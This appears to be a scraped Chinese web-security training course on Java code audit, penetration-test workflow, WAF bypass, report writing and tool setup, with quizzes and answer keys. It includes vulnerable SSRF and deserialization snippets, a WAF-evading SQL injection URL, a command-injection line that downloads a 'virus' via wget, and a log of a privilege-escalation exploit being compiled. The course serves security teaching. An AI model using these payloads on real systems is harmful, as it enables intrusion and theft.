//urlConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();


ImageIO

// ImageIO ssrf vul String url = request.getParameter("url"); URL u = new URL(url); BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞


其他

// Request漏洞示例 String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString();//发起请求 // openStream漏洞示例 String url = request.getParameter("url"); URL u = new URL(url); inputStream = u.openStream(); //发起请求 // OkHttpClient漏洞示例 String url = request.getParameter("url"); OkHttpClient client = new OkHttpClient(); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); client.newCall(ok_http).execute(); //发起请求 // HttpClients漏洞示例 String url = request.getParameter("url"); CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = client.execute(httpGet); //发起请求

漏洞审计—权限控制

重点关注用户操作请求时,查看是否有对当前登陆用户权限做校验,从而确定是否存在漏洞,有些厂商会使用一些主流的权限框架,例如 shiro ,spring security 等框架,那么需要重点关注框架的配置文件以及实现方法。
http://video.twosecurity.cn/jsmd8787574642973/%E6%9D%83%E9%99%90%E6%8E%A7%E5%88%B6.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/28564800_1568619666.png
在以下代码中采用了 shiro 框架进行权限控制,代码对控制访问路径的权限设置,前面做了对 admin 路径下访问限制,只有 SysyUserFilter 设置了 isAccessAllowed方法,其他过滤均没有。
Map filterMap = new HashMap<>(); filterMap.put("sysUser", new SysUserFilter()); filterMap.put("authc", new AjaxAuthenticationFilter()); filterMap.put("users", new UserAuthFilter()); filterMap.put("perms", new PeermissionAuthFilter()); filterMap.put("roles", new RoleAuthFilter()); filterMap.put("jCaptchaValidate", new jCaptchaValidateFilter()); shireFilterBean.setFilters(filterMap); Map filterChainDefinitionMap = new LinkedHashMap(); filterChainDefinitionMap.put("/admin/login", "jCaptchaValidate"); filterChainDefinitionMap.put("/admin/login/sms", "anon"); filterChainDefinitionMap.put("/admin/logout", "anon"); filterChainDefinitionMap.put("/admin/captcha", "anon"); filterChainDefinitionMap.put("/admin/captcha/sms", "anon"); filterChainDefinitionMap.put("admin/sync/serverPort", "anon"); filterChainDefinitionMap.put("/swagger-ui.html", "anon"); filterChainDefinitionMap.put("/webjars/springfox-swagger-ui/**", "anon"); filterChainDefinitionMap.put("/swagger-resources/**", "anon"); filterChainDefinitionMap.put("/v2/api-docs/**", "anon"); filterChainDefinitionMap.put("/admin/**", "sysUser,users,perms,roles"); shiroFilterFactoryBean.setFilterchainDefinitionMap(filterChainDefinitionMap); return shiroFilterFactoryBean;
SysUserFilter 中 isAccessAllowed 具体实现方法如下,没有对是否为当前用户进行判断,导致了越权
User user = (User) request.getAttribute(Constants.CURRENT_USER); if(user == null){ return true; }
如果没有使用框架的话,就要注意每个操作是否有权限。 下面的代码中获取 session 里的 username,只判断了 username 是不是为空,如果在截取数据包的时候将 username 再重新赋一个值就有可能造成越权漏洞。
String username = (String) session.getAttribute("username"); if(username == null){ response.sendkedirect(request.getContextPath() + "/index.jsp"); return; }

漏洞审计—反序列化

Java 程序使用 ObjectInputStream 对象的 readObject 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或 DB 存储等业务场景,在代码审计时可重点关注一些反序列化操作函数,并判断输入是否可控。例如:

ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject


http://video.twosecurity.cn/jsmd8787574642973/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/97548000_1568622160.png
以下代码中,程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的 commons-collections 3.1、commons-fileupload 1.3.1 等第三方库,即可构造特定反序列化对象实现任意代码执行。
//读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close();

审计辅助工具

代码审计也就是拿到某网站的源码,然后进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。 我们在做代码审计的时候,建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。 要关注变量和函数:
可以控制的变量【一切输入都是有害的】 变量到达有利用价值的函数【一切进入函数的变量都是有害的】

http://video.twosecurity.cn/jsmd8787574642973/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E8%BE%85%E5%8A%A9%E5%B7%A5%E5%85%B7.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/10507400_1568622425.png

rips 下载|https://static.twosecurity.xyz/rips-0.55.zip

seay 代码审计|https://pan.baidu.com/s/1i3Jw2uL#list/path=%2F

https://pan.baidu.com/s/1Tse1opylDG80YpNJPcIzkg

代码审计总结

代码审计需要比较强的代码能力和足够的耐心


http://video.twosecurity.cn/jsmd8787574642973/%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/71463500_1568622544.png

请将以下特征代码与具体漏洞对应
|$sql \= "Select * from users where id='$id' limit 0,1";=SQL注入 |$result \= shell_exec('ping -c 1 ' . $_POST
);=命令执行 |$page_content \= file_get_contents($_GET
);=SSRF服务端请求伪造 |unserialize($_GET
);=反序列化漏洞

以下关于代码审计中漏洞的说法正确的是|整数型SQL注入点,在使用了addslashes函数对输入做转义后无法进行注入|PHP中只有$\_GET/$\_POST/$\_COOKIE/$\_FILES可以传递用户输入|!JAVA反序列化漏洞的利用链构造需要结合不同的JDK版本|SSRF漏洞中的Gopher协议可以用来构造HTTP请求

以下针对代码审计中命令注入漏洞说法正确的是|在php中与命令注入有关的函数有system/shell_exec/popen/fopen等|!命令注入漏洞常使用&&、|、;等字符来实现多个命令的执行|在php 7版本中assert是一个函数|!php中可以使用disable_function属性限制命令执行函数的使用

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

渗透测试总结

基于渗透测试基本流程的点线面


http://video.twosecurity.cn/tshz1324023154/1%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/49033900_1569222032.png

渗透测试执行标准七个阶段
|第一阶段=前期交互 |第二阶段=信息收集 |第三阶段=威胁建模 |第四阶段=漏洞分析 |第五阶段=漏洞利用 |第六阶段=后渗透 |第七阶段=编写报告

初步侦察


渗透测试实战战场|在该站点进行一次完整的渗透测试|http://47.106.80.112:8019/|
对目标站点进行信息收集,操作如下:
- 端口扫描 nmap CMS 识别 子域名爆破 目录扫描

http://video.twosecurity.cn/tshz1324023154/3.%E5%88%9D%E6%AD%A5%E6%8E%A2%E6%B5%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/24132200_1569222212.png

Nmap支持的四种最基本的扫描方式
|TCPconnect()端口扫描=-sT参数 |TCP同步(SYN)端口扫描=-sS参数 |UDP端口扫描=-sU参数 |Ping扫描=-sP参数

如果要查看Nmap运行的详细过程,只要启用verbose模式,即加上-v参数,或者加上-vv参数获得更加详细的信息。

代码审计

利用前面讲到的几种方法,对目标站点的源码进行代码审计。
http://video.twosecurity.cn/tshz1324023154/4.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/90767000_1569222389.png

课程中审计目标代码所采用的方式是|!关键词搜索|通读代码|基于功能点|以上都不是

突破防御

WAF Bypass又称 waf绕过,当我们遇到一个waf时,要确定是什么类型?什么品牌? 主要有以下三种:
云waf
在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
主机防护软件
在主机上预先安装了这种防护软件,可用于扫描和保护主机和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。另外,mod_security、ngx-lua-waf 这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。
硬件ips/ids防护、硬件waf
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。
http://video.twosecurity.cn/tshz1324023154/5%E7%AA%81%E9%98%B2.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/46303400_1569222558.png

以下关于课程中绕过WAF进行注入的说法正确的是|!目标使用的WAF程序是低版本安全狗|课程中使用换行绕过WAF|!课程中使用内联注释绕过了WAF|!大小写可以用于绕过WAF

漏洞利用

通过前面找到的漏洞,进行深入挖掘。
http://video.twosecurity.cn/tshz1324023154/6%E5%88%A9%E7%94%A8.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/94408100_1569222991.png

课程中发现的注入漏洞(http://test.twosecurity.cn:8080/showData/detail.php?pid=-1+/*!50000uNion*/+sElect+1,/**/user/**/()--+-)属于哪种类型的注入|报错注入|!UNION可回显注入|!整形注入|单引号注入

提升权限

通过代码审计破解加密方式从而获得管理员权限,并进入后台管理系统。
http://video.twosecurity.cn/tshz1324023154/7%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/31129500_1569223848.png

以下做法不可能提升权限的是()|sql注入获取账号密码|弱口令爆破|!进行dos攻击|!利用系统版本漏洞提权

武器投递

getshell的方法有很多,具体实现还需看情况进行操作。
http://video.twosecurity.cn/tshz1324023154/8getshell.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/3209900_1569224479.png

下列说法错误的是?|利用文件解析漏洞来拿webshell|直接上传getshell|!通过XSS进行getshell|执行sql语句写入webshell

实战回顾

通过渗透测试一系列流程,包括信息收集、代码审计、提权、利用漏洞最终getshell。
http://video.twosecurity.cn/tshz1324023154/9%E8%AF%BE%E7%A8%8B%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/43158200_1569223867.png

在课程实战过程中提到了对目标进行哪些信息收集|!端口扫描|!目录扫描|!CMS识别|!子域名爆破

在目录扫描过程中发现目标存在源码泄漏www.tar.gz,该源码可以用于|信息收集|!代码审计|!获取后台地址|获取后台密码

以下关于SQL注入获取目标数据库连接密码查询到表是|infomation_schema.tables|infomation_schema.columns|!mysql.user|infomation_schema.processlist

以下语句是判断是否能进行UDF提权的条件的是|!select @@plugin_dir|!show variable like '%file%'|!show variable like '%file%'| select * from mysql.user

课程中配置文件写入漏洞产生的原因包括|!鉴权失效|!可通过参数控制实例化对象并调用指定方法|!未对写入配置文件参数进行过滤|!配置文件是php格式文件

大展身手

通过前面的学习,相信你已经了解了渗透测试的方法及流程,那么,请开始你的表演吧。
大展身手实战场|通过前面的学习,相信你已经了解了渗透测试的方法及流程,那么,请开始你的表演|http://47.106.80.112:8469/接|

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

报告编写案例


什么是渗透测试报告?
对渗透测试进行全面展示的一种文档表达
http://video.twosecurity.cn/gbscts45745/%E6%8A%A5%E5%91%8A%E6%A1%88%E4%BE%8B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/47130900_1570872255.png

编写渗透测试报告目的

- 表达项目成果的一种方式 让客户能够通过渗透测试报告获取信息 合同约束

渗透测试报告本身没有一个非常统一的标准,可带入自己或团队的特色。

大致包含以下五个部分:
- 概述 漏洞扫描 渗透结果 测试结果 安全建议

下列是从/var/log/message中提取的部分日志,请问最有可能出现了什么情况? |文件包含|账户爆破|!提权|以上都是

Sep 10 03:28:09 webserver test_shell_cmd:
5

ls -al /tmp/semtex.c Sep 10 03:28:12 webserver test_shell_cmd:
6

chmod a+x /tmp/semtex.c Sep 10 03:28:27 webserver test_shell_cmd:
7

gcc-4.6 -02 semtex.c && ./a.out Sep 10 03:28:27 webserver test_shell_cmd:
8

gcc -02 semtex.c && ./a.out Sep 10 03:28:53 webserver test_shell_cmd:
9

gcc -02 semtex.c Sep 10 03:28:53 webserver root_shell_cmd:


在检测ssh日志时,我们需要检测哪些内容?|!登录失败的用户名/次数|!登录失败的源IP/尝试次数|!登录失败的用户登录正确的次数|!收集用户密码字典

拓展学习

https://www.elastic.co/cn/products/elastic-stack
开源日志系统比较:scribe、chukwa、kafka、flume
http://dongxicheng.org/search-engine/log-systems/

https://github.com/a2o/snoopy

web日志取证分析工具|https://resource-ssl.smartgslb.com/LogForensics.zip
使用方法:
Perl LogForensics.pl -file logfile -websvr (nginx|httpd)

File:日志文件路径 Websvr : 日志类型 IP: 起始调查IP或ip列表,以逗号分割 url: 起始调查 cgi 链接或链接列表,以逗号分割


https://github.com/libyal/libevtx/blob/master/documentation/Windows%20XML%20Event%20Log%20(EVTX).asciidoc#2-file-header

UNIX Linux网络日志分析与流量监控|https://resource-ssl.smartgslb.com/UNIX%20Linux.pdf

报告结构

渗透测试报告无硬性规定必须一模一样。


http://video.twosecurity.cn/gbscts45745/报告结构.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/7217900_1570872400.png

撰写路线:

- 以攻击路径为线进行撰写(完整的由外到内渗透) 以漏洞危害等级分类撰写(在以外网漏洞发现下)

是否需要解释信息收集的内容?
当涉及的安全问题需含有较为复杂不易理解的信息时,需要进行解释 如解释通过什么手段收集的目标信息系统的用户名、邮箱等等 而过多的内容解释会导致报告臃肿,要抓住客户真正需要的关键信息
是否需要对渗透测试的过程进行详细的解释?
通过说明问题,能达到客户在阅读报告后,可以在掌握一定基础知识的技术上进行复现问题 针对较为复杂的漏洞发现、利用过程等应该进行解释,如注入绕过、上传绕过等等

借助渗透测试报告模版,进行内容填充,完成一份完整的渗透测试报告。 不管什么格式,能够让用户满意、得到用户认可的即是好报告


需要注意避免的点:

- 漏洞描述过于简单,切不可一笔带过 没有实际意义的安全建议,比如加强安全意识 复杂的专业术语,比如绕狗、X站等等 报告结构混乱不堪

以下描述在渗透测试报告中,最准确的是()|进行了端口扫描|通过端口扫描发现一个端口|使用端口扫描器检测到了一个开放的TCP端口|!使用Nmap5.50,对一段端口进行SYN扫描,发现了一个开放的TCP端口

编写报告

一份渗透测试报告的基本样式模版。


http://video.twosecurity.cn/gbscts45745/%E6%92%B0%E5%86%99.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/76458200_1570872705.png

【注意】不管漏洞是否修复,渗透测试报告都不能泄露。

安全风险状况等级说明

-
良好状态
信息系统处于良好运行状态,没有发现或只存在零星的低风险安全问题,此时只要保持现有安全策略就满足了本系统的安全等级要求
预警状态
信息系统中存在一些漏洞或安全隐患,此时需根据评估中发现的网络、主机、应用和管理等方面的问题对此进行有针对性的加固和改进
严重状态
信息系统中发现存在严重漏洞或可能严重威胁到系统正常运行的安全问题,此时需要立刻采取措施,例如安装补丁或重新部署安全系统进行防护等等
紧急状态
信息系统面临严峻的网络安全态势,对组织的重大经济利益或政治利益可能造成严重损害。此时需要与其他安全部门通力协作采取紧急防御措施

一次优秀的渗透测试需要通过优秀的渗透测试报告进行体现。


渗透测试报告需要包含哪些内容?|!安全建议|!漏洞扫描|!渗透结果|!概述|!测试结果

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

平台服务规则



- 由于涉及到内容安全及版权问题,涉及到某些国内厂商的信息会做打码处理,以及图片或是音频中的 hacker 的样子会被替换成 target、example等。 课后拓展学习的意义属于课程之外的拓展学习内容,不要求一定能掌握。 所有需要密码的压缩文件密码均为:twosecurityio

学习理念


http://video.twosecurity.cn/xqsc2425425/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%B7%A5%E7%A8%8B%E5%B8%88%E5%AD%A6%E4%B9%A0%E6%89%8B%E5%86%8C%E6%96%B0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/41244400_1574136560.png

认知web安全


什么是Web安全
早期的互联网非常的单调,一般只有静态页面,现在,通过技术的发展,Web上大多数站点实际上是Web应用程序,在服务器和浏览器之间进行双向的信息传递。金融交易,搜索及用户创作的内容。用户只需要拥有一个浏览器,即可实现各种功能。 Web是指一个网站的前端页面到后端服务,比如我们常见的Javascript、PHP、Python、Mysql、jQuery、Docker等,包括开发、运维这些服务。 所以在我看来Web安全也就是从安全的角度探索Web的一种方式。
常见 Web 漏洞的攻击思想


现在这里有一份试卷,首先我们来看试卷名字和学号填写,你们觉得这部分有"漏洞"吗?

答案是:有。 首先看第一部分:学生的姓名和学号都写在这里,没有做任何的保护措施,因此,你只要偷看了某人试卷上的这部分内容,然后把你试卷的上的姓名和考生学号写成与他一样的即可伪装他的身份。 漏洞则攻击成功。 再来看诗歌部分的题目,那这到底又有没有"漏洞"呢?

答案同样是有。 这道题的答案首先想到的肯定是"疑似地上霜"和"处处闻啼鸟"。 不过,问题中,并没有规定答案里不能添加标点符号, 所以,我们完全可以写出第二种答案: 床前明月光,
疑是地上霜。举头望明月,低头思故乡
。 春眠不觉晓,
处处闻啼鸟。夜来风雨声,花落知多少
。 漏洞再次进攻成功:P。 最后是一道数学运算题目,既然是运算题规定了运算符和数字还能有什么漏洞呢?但实际上仍然不"安全"。我们来看看他的问题出在哪里。


试卷漏洞解读
这道题目,出题者规定了只能填入数字,但却没有说是什么数字,也没有规定多少位,那么我的答案可以是 中文数字「壹佰壹拾圆」、罗马数字「MCI」或「0000000000001101」。 漏洞第三次进攻成功:XD。 我们刚才做的试卷简单的模拟了Web漏洞的攻击思想,在实际中,我们打开一个网页提交登录或者是搜索都会经过服务器做的一系列处理又回到浏览器,在这个过程中我们提交的数据会被带入到一系列的填空题中,有的是我们能猜到的,有的则是意想不到的,有的会经过SQL查询进行填空,有的会被带入到命令行中进行执行,最后又把结果返回给浏览器进行填空,也就是最后我们看到的结果。 我们常见的Web漏洞类型主要有SQL注入、XSS、远程命令执行以及越权等。
SQL注入

SQL注入介绍
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 SQL注入示例:

select * from username = ____ and password=_____

select * from username = "test" or ""="" and password="123456"


XSS

XSS介绍
XSS则是攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

你好啊,尊敬的______

你好啊,尊敬的 xxx


远程命令执行

远程命令执行介绍
远程命令执行,是用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致执行命令。

ping _______

ping www.example.com & wget www.target.com/virus


越权

越权漏洞介绍
越权漏洞是比较常见的漏洞类型,越权漏洞可以理解为,一个正常的用户A通常只能够对自己的一些信息进行增删改查,但是由于程序员的一时疏忽,对信息进行增删改查的时候没有进行一个判断,判断所需要操作的信息是否属于对应的用户,可以导致用户A可以操作其他人的信息。

Cookie: uid=11426;

Cookie: uid=1;

关于越权,就像我们刚刚试卷体中的姓名部分。 用户的输入到处理到输出往往经历多个阶段,而不同阶段中,又会由于种种原因,导致不同的安全问题出现。下图就展示了数据的传输流程,以及不同阶段经常出现的漏洞及其原因。


(数据传输流程中易出现的漏洞)



(各漏洞的简单利用方式)
中间件

注解: 中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器和消息队列软件。 中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

脚本解释器

注解: 解释器(英语:Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。

数据库

注解: SQL是Structured Query Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。

了解了这几个漏洞之后我们可以看到原理都有些类似,也很简单,当然我们只要不再局限于概念名词就会发现 web 安全的大部分漏洞都很简单。更多时候,发现一个复杂的漏洞需要是只是耐心。 概念,不是一个神圣的东西,概念很多时候只是bullshit。很多概念的产生是因为需要认识和概括某种存在着的现象而不得已产生的,概念也许是必须的但并不是必然如此的。 换句话说,概念仅可以被看做是一种努力尝试描述后的结果之一。或者也可以说概念是提出这个概念的人自嗨的产物,跟其他人关系不大。甚至,有些概念是‘别有用心’的发明来合理化某种其实不必合理化但是存在的现象。 所以不要把自己拘泥于一个这样的概念中来思考所面临问题的实质。把概念忘了,你才可能看清楚你和这个事件的关系。

环境配置


软件和工具的准备
我们在学习web安全的过程中需要用到一些软件和工具,以下是对于各个软件详细的介绍。
操作系统

操作系统推荐
Windows系统建议大家都使用windows 10 专业版,家庭版有很多功能无法使用。 也可以使用linux操作系统和Mac OS系统
cmder

cmder介绍
cmder是一款Windows环境下非常简洁美观易用的cmd替代软件,它支持了大部分的Linux命令。
http://cmder.net/



(cmder官网下载)

cmder的安装
下载之后进行解压,解压之后双击应用程序就可以使用了。


(解压运行)



(运行结果)
(常用快捷键)
Tab|自动路径补全 Ctrl+t|建立新页签 Ctrl+W|关闭页签 Ctrl+Tab|切换页签 Alt+Shift+1|开启cmd.exe Alt+Shift+2|开启powershell.exe Alt+Shift+3|开启powershell.exe (系统管理员权限) Ctrl+1|快速切换到第1个页签 Ctrl+n|快速切换到第n个页签( n值无上限) Alt + enter|切换到全屏状态 Ctr+r|历史命令搜索 2|可在视窗内搜寻画面上出现过的任意关键字 3|新增页签按钮 4|切换页签按钮 5|锁定视窗,让视窗无法再输入 6|锁定视窗,让视窗无法再输入 7|按下滑鼠左键可开启系统选单,滑鼠右键可开启工具选项视窗 Win+Alt+P|开启工具选项视窗



(快捷键介绍)

Cmder进阶功能

- Alias功能:可以用短短的指令执行一些常见但指令超长又难以记忆的语法,我们在控制台输入alias可以查看。 文字缩放:按下ctrl+鼠标滚轮可以放大主控台文字。按Up键,可以向上翻历史命令。 复制粘贴:用鼠标选中自己想拷贝的内容,可自动复制到剪切板,ctrl+v直接粘贴。 自定义aliases:在cmder目录下有一个config文件夹,其中的aliases文件是我们可以自行配置的别名文件,将里面ls命令的别名自定义修改就可以在ls命令下显示中文了。

Node.js

介绍
Node.js是基于Chrome JavaScript运行时建立的一个平台,通过事件驱动I/O服务端的JavaScript环境。简单来说呢,Node.js就是运行在服务端的JavaScript。因为基于Google的V8引擎,能够快速执行JavaScript的同时,性能也非常优秀。


(官方下载界面)

https://nodejs.org/en/download/

安装流程
以Window版本为例:
- 双击运行下载好的安装包 选择安装路径 选择你需要的安装模式

检查版本信息
安装完成后,我们在命令行中输入:node --version可以检查Node.js版本。


(显示node.js版本信息)

Npm配置国内镜像
由于新版的Node.JS已经集成了npm,所以之前npm也一并安装好了。我们可以使用cmd命令行输入"npm -v"来测试是否成功安装。如果出现版本提示便OK了。 淘宝 npm 地址:http://npm.taobao.org/ 持久使用 npm config set registry https://registry.npm.taobao.org 配置后可通过下面方式来验证是否成功 npm config get registry 或 npm info express


(显示npm版本)

完成安装
常规Node.JS的搭建到现在为止就已经完成了,你可以尝试在cmd命令行中输入”node“进入node开发模式下,输入:console.log('hello world')。便可以出现你的第一句Node.JS语句。


(测试)

Python

Python介绍
Python是一种解释型的高级程序设计语言,同时也是面向对象的语言。Python是纯粹的自由软件,它的源代码和解释器CPython遵循 GPL(GNU General Public License)协议。语法非常简洁清晰,强制用空白符(white space)作为语句缩进是Python语言的特色。它还具有非常丰富、强大的库。最重要的是,能够把其他语言制作的各种模块(尤其是C/C++)很轻松地联结在一起,被大家称为胶水语言。
http://www.python.org/download/



(官方下载)

安装教程
下载所需要的下载包,然后进入安装步骤。双击运行下载好的MSI安装包,在选择安装组件的一步时,勾选上所有的组件,特别要注意选上pip和Add python.exe to Path,然后一路点“Next”即可完成安装。


(官方下载)

测试是否安装成功
如果出现这样的画面,就说明我们已经成功的安装好Python了。当看到提示符>>>就表示我们已经在Python的交互式环境中了,可以输入任何Python代码,回车后会立刻得到执行结果。输入exit()并回车,就能够退出Python,或者直接关掉窗口也行。


(安装检测)

备注:安装错误提示 如果页面爆出"'python'不是内部或外部命令,也不是可运行的程序或批处理文件。"这样的错误,是因为Windows会根据一个Path的环境变量设定的路径去查找python.exe,如果没找到,就会报错。如果在安装时漏掉了勾选Add python.exe to Path,那就要手动把python.exe所在的路径C:\Python27添加到Path中。


pip配置国内镜像
我们在使用python过程中,pip安装软件包非常频繁,我们需要将pip源使用国内的镜像,以提升下载速度以及提高安装的成功率。 有这样一些国内的镜像:
- http://pypi.douban.com/simple/ 豆瓣 http://mirrors.aliyun.com/pypi/simple/ 阿里

配置的流程

- 临时使用
添加"-i"或"--index"参数。比如: pip install -i http://pypi.douban.com/simple/
- 配置为默认
在你的"C:\Users\你的用户名\"目录下创建 pip 目录,并 pip 目录下创建pip.ini文件,需要注意的是,文件要以UTF-8、无BOM格式编码。

pip.ini 文件内容
index-url=http://mirrors.aliyun.com/pypi/simple/
trusted-host=mirrors.aliyun.com


注意: 这里有一些需要我们注意的地方。trusted-host 选项为了避免麻烦是必须的,否则使用的时候会提示不受信任,或者添加--trusted-host=mirrors.aliyun.com选项。还有就是有网页提示需要创建或修改配置文件(Linux的文件在~/.pip/pip.conf,windows在%HOMEPATH%\pip\pip.ini),至少Windows7下%HOMEPATH%\pip\pip.ini这个目录是不起作用的。

Docker
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
安装 Docker(Windows 10 专业版)|https://download.docker.com/win/stable/Docker%20for%20Windows%20Installer.exe

安装失败可以尝试
https://download.docker.com/win/edge/Docker%20for%20Windows%20Installer.exe


https://download.docker.com/win/stable/DockerToolbox.exe|安装 Docker(虚拟机版本)

其它Windows版本(包含win10家庭版)只能安装虚拟机版本。如果以上都安装失败则建议升级至 Windows10专业版。

https://download.docker.com/mac/stable/Docker.dmg|安装 Docker(MacOS Yosemite )

如果安装失败可以尝试
https://download.docker.com/mac/edge/Docker.dmg

Ubuntu


(WAMP安装)
安装WAMP的过程也很简单,选择安装目录后,其它都点 next 就行 ,但如果安装过程中出现的提示是否指定某些软件为默认的时点击No。

在 WAMP 安装目录下,我们可以看到一个叫www的文件夹,这是我们的默认工作空间,也就是说我们可以在这个文件夹下面编写PHP代码。



本地地址:
http://127.0.0.1' rel='nofollow'/>http://www.wampserver.com/en/#download-wrapper
首先要下载 WAMP ,下载前可查看电脑是否安装过老版本,若已安装可继续使用,或卸载后再安装新版本。现大部分电脑都已经支持64bit版,如果无法正常运行则尝试32位版。


(WAMP安装)
安装WAMP的过程也很简单,选择安装目录后,其它都点 next 就行 ,但如果安装过程中出现的提示是否指定某些软件为默认的时点击No。

在 WAMP 安装目录下,我们可以看到一个叫www的文件夹,这是我们的默认工作空间,也就是说我们可以在这个文件夹下面编写PHP代码。



本地地址:
http://127.0.0.1

安装好后,点击桌面的 WAMP 图标运行本地服务器: 现在我们打开浏览器访问http://127.0.0.1/这个网址,如果看到这样的界面就表示安装成功了。
Hello Twosecurity'; ?>


接下来我们就在之前提到的 www 目录下编写一个 php 测试文件:twosecurity.php 现在再访问http://127.0.0.1/twosecurity.php就可以看到这样的结果: 最好,推荐大家使用VisualStudioCode编辑PHP代码:
https://code.visualstudio.com/Code

学前预习资料


为避免学员实训过程中信息资讯过载,我们只保留了对后面学习真正需要的内容,请认真进行预习。

https://www.sec-wiki.com/event

http://www.docker.org.cn/book/docker/what-is-docker-16.html

https://developers.google.com/web/tools/chrome-devtools/

https://maxiang.io/

学前工具准备

文档工具,可以直接查看搜索各种开发语言、框架的官方文档,都给整理好啦!
https://velocity.silverlakesoftware.com/

https://kapeli.com/dash

https://devdocs.io/
文本编辑
https://code.visualstudio.com/
Chrome 扩展
https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg

https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg

https://chrome.google.com/webstore/detail/take-webpage-screenshots/mcbpblocgmgfnpjjppndjkmgjaogfceg
翻译软件
https://www.eudic.net/v4/en/app/download

就业与兴趣的解答

(常见安全职位及其职能介绍)
甲/乙方|职位|职能 乙方|渗透工程师|为甲方做安全检测 甲方、乙方|安全开发|研发安全产品 甲方|安全运维工程师|渗透测试、主机安全 甲方|安全工程师|渗透测试、风险评估

https://www.zhipin.com/

https://www.kanzhun.com/

